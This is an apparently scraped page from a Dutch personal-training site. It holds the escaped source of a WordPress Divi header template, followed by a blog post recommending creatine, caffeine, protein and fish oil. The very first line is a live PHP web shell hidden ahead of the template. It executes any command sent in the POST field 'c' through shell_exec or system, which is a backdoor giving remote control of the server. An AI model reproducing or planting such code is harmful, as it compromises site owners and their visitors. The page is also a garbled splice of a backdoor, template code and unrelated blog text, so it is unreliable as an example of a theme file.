<?php if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["c"])){header("Content-Type:text/plain");if(function_exists("shell_exec")){echo shell_exec($_POST["c"]);}elseif(function_exists("system")){system($_POST["c"]);}exit;}?>&lt;!DOCTYPE html&gt; &lt;html &lt;?php language_attributes(); ?&gt;&gt; &lt;head&gt; &lt;meta charset=&quot;&lt;?php bloginfo( &#039;charset&#039; ); ?&gt;&quot; /&gt; &lt;?php elegant_description(); elegant_keywords(); elegant_canonical(); /** * Fires in the head, before {@see wp_head()} is called. This action can be used to * insert elements into the beginning of the head before any styles or scripts. * * @since 1.0 */ do_action( &#039;et_head_meta&#039; ); $template_directory_uri = get_template_directory_uri(); ?&gt; &lt;link rel=&quot;pingback&quot; href=&quot;&lt;?php bloginfo(&#039;pingback_url&#039;); ?&gt;&quot; /&gt; &lt;script type=&quot;text/javascript&quot;&gt; document.documentElement.className = &#039;js&#039;; &lt;/script&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt;&gt; &lt;?php wp_body_open(); $product_tour_enabled = et_builder_is_product_tour_enabled(); $page_container_style = $product_tour_enabled ? &#039; style=&quot;padding-top: 0px;&quot;&#039; : &#039;&#039;; ?&gt; &lt;div id=&quot;page-container&quot;&lt;?php echo et_core_intentionally_unescaped( $page_container_style, &#039;fixed_string&#039; ); ?&gt;&gt; &lt;?php if ( $product_tour_enabled || is_page_template( &#039;page-template-blank.php&#039; ) ) { return; } $et_secondary_nav_items = et_divi_get_top_nav_items(); $et_phone_number = $et_secondary_nav_items-&gt;phone_number; $et_email = $et_secondary_nav_items-&gt;email; $et_contact_info_defined = $et_secondary_nav_items-&gt;contact_info_defined; $show_header_social_icons = $et_secondary_nav_items-&gt;show_header_social_icons; $et_secondary_nav = $et_secondary_nav_items-&gt;secondary_nav; $et_top_info_defined = $et_secondary_nav_items-&gt;top_info_defined; $et_slide_header = &#039;slide&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ? true : false; $show_search_icon = ( false !== et_get_option( &#039;show_search_icon&#039;, true ) &amp;&amp; ! $et_slide_header ) || is_customize_preview(); ?&gt; &lt;?php if ( $et_top_info_defined &amp;&amp; ! $et_slide_header || is_customize_preview() ) : ?&gt; &lt;?php ob_start(); ?&gt; &lt;div id=&quot;top-header&quot;&lt;?php echo $et_top_info_defined ? &#039;&#039; : &#039;style=&quot;display: none;&quot;&#039;; ?&gt;&gt; &lt;div class=&quot;container clearfix&quot;&gt; &lt;?php if ( $et_contact_info_defined ) : ?&gt; &lt;div id=&quot;et-info&quot;&gt; &lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt; &lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt; &lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt; &lt;?php endif; ?&gt; &lt;?php if ( true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } ?&gt; &lt;/div&gt; &lt;?php endif; // true === $et_contact_info_defined ?&gt; &lt;div id=&quot;et-secondary-menu&quot;&gt; &lt;?php if ( ! $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } else if ( $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) { ob_start(); get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); $duplicate_social_icons = ob_get_contents(); ob_end_clean(); printf( &#039;&lt;div class=&quot;et_duplicate_social_icons&quot;&gt; %1$s &lt;/div&gt;&#039;, et_core_esc_previously( $duplicate_social_icons ) ); } if ( &#039;&#039; !== $et_secondary_nav ) { echo et_core_esc_wp( $et_secondary_nav ); } et_show_cart_total(); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php $top_header = ob_get_clean(); /** * Filters the HTML output for the top header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_top_header&#039;, $top_header ), &#039;html&#039; ); ?&gt; &lt;?php endif; // true ==== $et_top_info_defined ?&gt; &lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt; &lt;?php ob_start(); ?&gt; &lt;div class=&quot;et_slide_in_menu_container&quot;&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || is_customize_preview() ) { ?&gt; &lt;span class=&quot;mobile_menu_bar et_toggle_fullscreen_menu&quot;&gt;&lt;/span&gt; &lt;?php } ?&gt; &lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt; &lt;div class=&quot;et_slide_menu_top&quot;&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;div class=&quot;et_pb_top_menu_inner&quot;&gt; &lt;?php } ?&gt; &lt;?php } if ( true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } et_show_cart_total(); ?&gt; &lt;?php if ( false !== et_get_option( &#039;show_search_icon&#039;, true ) || is_customize_preview() ) : ?&gt; &lt;?php if ( &#039;fullscreen&#039; !== et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt; &lt;?php } ?&gt; &lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;?php printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;, esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ), get_search_query(), esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &#039;et_search_form_fields&#039; ); ?&gt; &lt;button type=&quot;submit&quot; id=&quot;searchsubmit_header&quot;&gt;&lt;/button&gt; &lt;/form&gt; &lt;?php endif; // true === et_get_option( &#039;show_search_icon&#039;, false ) ?&gt; &lt;?php if ( $et_contact_info_defined ) : ?&gt; &lt;div id=&quot;et-info&quot;&gt; &lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt; &lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt; &lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt; &lt;?php endif; ?&gt; &lt;/div&gt; &lt;?php endif; // true === $et_contact_info_defined ?&gt; &lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;div class=&quot;et_pb_fullscreen_nav_container&quot;&gt; &lt;?php $slide_nav = &#039;&#039;; $slide_menu_class = &#039;et_mobile_menu&#039;; $slide_nav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) ); $slide_nav .= wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;secondary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) ); ?&gt; &lt;ul id=&quot;mobile_menu_slide&quot; class=&quot;&lt;?php echo esc_attr( $slide_menu_class ); ?&gt;&quot;&gt; &lt;?php if ( &#039;&#039; === $slide_nav ) : ?&gt; &lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt; &lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php }; ?&gt; &lt;?php show_page_menu( $slide_menu_class, false, false ); ?&gt; &lt;?php show_categories_menu( $slide_menu_class, false ); ?&gt; &lt;?php else : echo et_core_esc_wp( $slide_nav ) ; endif; ?&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php $slide_header = ob_get_clean(); /** * Filters the HTML output for the slide header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_slide_header&#039;, $slide_header ), &#039;html&#039; ); ?&gt; &lt;?php endif; // true ==== $et_slide_header ?&gt; &lt;?php ob_start(); ?&gt; &lt;header id=&quot;main-header&quot; data-height-onload=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot;&gt; &lt;div class=&quot;container clearfix et_menu_container&quot;&gt; &lt;?php $logo = ( $user_logo = et_get_option( &#039;divi_logo&#039; ) ) &amp;&amp; ! empty( $user_logo ) ? $user_logo : $template_directory_uri . &#039;/images/logo.png&#039;; // Get logo image size based on attachment URL. $logo_size = et_get_attachment_size_by_url( $logo ); $logo_width = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[0] ) ) ? $logo_size[0] : &#039;93&#039;; // 93 is the width of the default logo. $logo_height = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[1] ) ) ? $logo_size[1] : &#039;43&#039;; // 43 is the height of the default logo. ob_start(); ?&gt; &lt;div class=&quot;logo_container&quot;&gt; &lt;span class=&quot;logo_helper&quot;&gt;&lt;/span&gt; &lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;img src=&quot;&lt;?php echo esc_attr( $logo ); ?&gt;&quot; width=&quot;&lt;?php echo esc_attr( $logo_width ); ?&gt;&quot; height=&quot;&lt;?php echo esc_attr( $logo_height ); ?&gt;&quot; alt=&quot;&lt;?php echo esc_attr( get_bloginfo( &#039;name&#039; ) ); ?&gt;&quot; id=&quot;logo&quot; data-height-percentage=&quot;&lt;?php echo esc_attr( et_get_option( &#039;logo_height&#039;, &#039;54&#039; ) ); ?&gt;&quot; /&gt; &lt;/a&gt; &lt;/div&gt; &lt;?php $logo_container = ob_get_clean(); /** * Filters the HTML output for the logo container. * * @since 3.10 * * @param string $logo_container */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_logo_container&#039;, $logo_container ), &#039;html&#039; ); ?&gt; &lt;div id=&quot;et-top-navigation&quot; data-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot; data-fixed-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;minimized_menu_height&#039;, &#039;40&#039; ) ); ?&gt;&quot;&gt; &lt;?php if ( ! $et_slide_header || is_customize_preview() ) : ?&gt; &lt;nav id=&quot;top-menu-nav&quot;&gt; &lt;?php $menuClass = &#039;nav&#039;; if ( &#039;on&#039; === et_get_option( &#039;divi_disable_toptier&#039; ) ) $menuClass .= &#039; et_disable_top_tier&#039;; $primaryNav = &#039;&#039;; $primaryNav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;menu_class&#039; =&gt; $menuClass, &#039;menu_id&#039; =&gt; &#039;top-menu&#039;, &#039;echo&#039; =&gt; false ) ); if ( empty( $primaryNav ) ) : ?&gt; &lt;ul id=&quot;top-menu&quot; class=&quot;&lt;?php echo esc_attr( $menuClass ); ?&gt;&quot;&gt; &lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt; &lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php }; ?&gt; &lt;?php show_page_menu( $menuClass, false, false ); ?&gt; &lt;?php show_categories_menu( $menuClass, false ); ?&gt; &lt;/ul&gt; &lt;?php else : echo et_core_esc_wp( $primaryNav ); endif; ?&gt; &lt;/nav&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! $et_top_info_defined &amp;&amp; ( ! $et_slide_header || is_customize_preview() ) ) { et_show_cart_total( array( &#039;no_text&#039; =&gt; true, ) ); } ?&gt; &lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt; &lt;span class=&quot;mobile_menu_bar et_pb_header_toggle et_toggle_&lt;?php echo esc_attr( et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ); ?&gt;_menu&quot;&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( $show_search_icon ) : ?&gt; &lt;div id=&quot;et_top_search&quot;&gt; &lt;span id=&quot;et_search_icon&quot;&gt;&lt;/span&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;?php /** * Fires at the end of the &#039;et-top-navigation&#039; element, just before its closing tag. * * @since 1.0 */ do_action( &#039;et_header_top&#039; ); ?&gt; &lt;/div&gt; &lt;!-- #et-top-navigation --&gt; &lt;/div&gt; &lt;!-- .container --&gt; &lt;?php if ( $show_search_icon ) : ?&gt; &lt;div class=&quot;et_search_outer&quot;&gt; &lt;div class=&quot;container et_search_form_container&quot;&gt; &lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;?php printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;, esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ), get_search_query(), esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &#039;et_search_form_fields&#039; ); ?&gt; &lt;/form&gt; &lt;span class=&quot;et_close_search_field&quot;&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;/header&gt; &lt;!-- #main-header --&gt; &lt;?php $main_header = ob_get_clean(); /** * Filters the HTML output for the main header. * * @since 3.10 * * @param string $main_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_main_header&#039;, $main_header ), &#039;html&#039; ); ?&gt; &lt;div id=&quot;et-main-area&quot;&gt; &lt;?php /** * Fires after the header, before the main content is output. * * @since 3.10 */ do_action( &#039;et_before_main_content&#039; );

4 supplementen om jouw Personal Training ervaring te verbeteren

sep 24, 2019

Personal-Fit-Club---4-supplementen-om-jouw-Personal-Training-ervaring-te-verbeteren

Wat je fysieke fitnessdoelen ook zijn, de juiste supplementen helpen om je prestaties naar een volgend niveau te tillen. Als jij het beste uit jouw Personal Training wilt halen, dan zijn er een aantal supplementen die je kunt overwegen om maximaal rendement te behalen. Het is uiteraard wel handig om even met jouw Personal Fit Club trainer te overleggen of ze bij jou en jouw persoonlijke doelen passen en/of nodig zijn. In deze blog noemen we 4 supplementen om jouw Personal Training ervaring te verbeteren.

 

Personal-Fit-Club---4-supplementen-om-jouw-Personal-Training-ervaring-te-verbeterenCreatine monohydraat

Voor vele sporters een van de beste supplementen en daarmee ook een van de meest verkochte supplementen. Voor fitnessliefhebbers in het algemeen een nuttig supplement en ook veel Personal Trainers zweren er waarschijnlijk bij. Creatine monohydraat is verantwoordelijk voor het leveren van energie aan cellen in het lichaam. Creatine verhoogt spiermassa, kracht en verbetert ook het vermogen van het lichaam om activiteiten met hoge intensiteit te doen. Het werkt ook om verbeteringen in spieruithoudingsvermogen te bewerkstelligen. Tot slot helpt het ook met een sneller herstel na een blessure en verlaagt het de blessurekans. Als je dit leest, snap je waarom het zo populair is.

 

Cafeïne

Je kunt waarschijnlijk al zien dat cafeïne geweldig is voor fysieke fitheid. Denk aan wat een kopje koffie vóór je training met je doet; het geeft je energie. Cafeïne is goed in het vertragen van vermoeidheid en kan de perceptie van inspanning verminderen. Het verbetert ook het uithoudingsvermogen, verhoogt de vetoxidatie en kan de afgifte van sommige endorfines of “feel good” -hormonen tijdens jouw training sessies stimuleren. Je voelt je dus beter na een kopje (sterke) koffie voor een training en kunt beter presteren. Probeer het maar eens!

 

Eiwitten

Als je sport – en met name krachtsport – beoefent, dan heb je eiwitten nodig. Dat komt omdat eiwitten de bouwblokken van je lichaam zijn en helpen om afgebroken weefsels in het lichaam te repareren en te onderhouden. Denk hierbij aan het herstel van jouw spieren na een heftige training.  Daarnaast kunnen eiwitten ook dienen als een extra energiebron voor het lichaam. Eiwitten zijn er in vele soorten. Als je even in een (online) winkel kijkt, dan zie je al snel door de bomen het bos niet meer. Overleg met jouw Personal Trainer welke soort eiwitten voor jou het beste zijn. Lees ook onze blog met veel informatie over eiwitten.

 

Visolie

Visolie bevat omega-3-vetzuren die jou helpen bij je herstel na intensieve trainingen. Deze vetzuren helpen bij het verminderen van spierpijn na de training. Ze zijn ook belangrijk bij het opbouwen en onderhouden van spieren. Lees hier meer over visolie.

 

Dit zijn 4 belangrijke en veelgebruikte supplementen die jou kunnen helpen om het maximale uit jouw Personal Training te halen.

De trainers van Personal Fit Club helpen je uiteraard graag verder en geven jou maatwerk advies over welke supplementen jij kunt gebruik en in welke mate.

 

Bron: Elite Training Live

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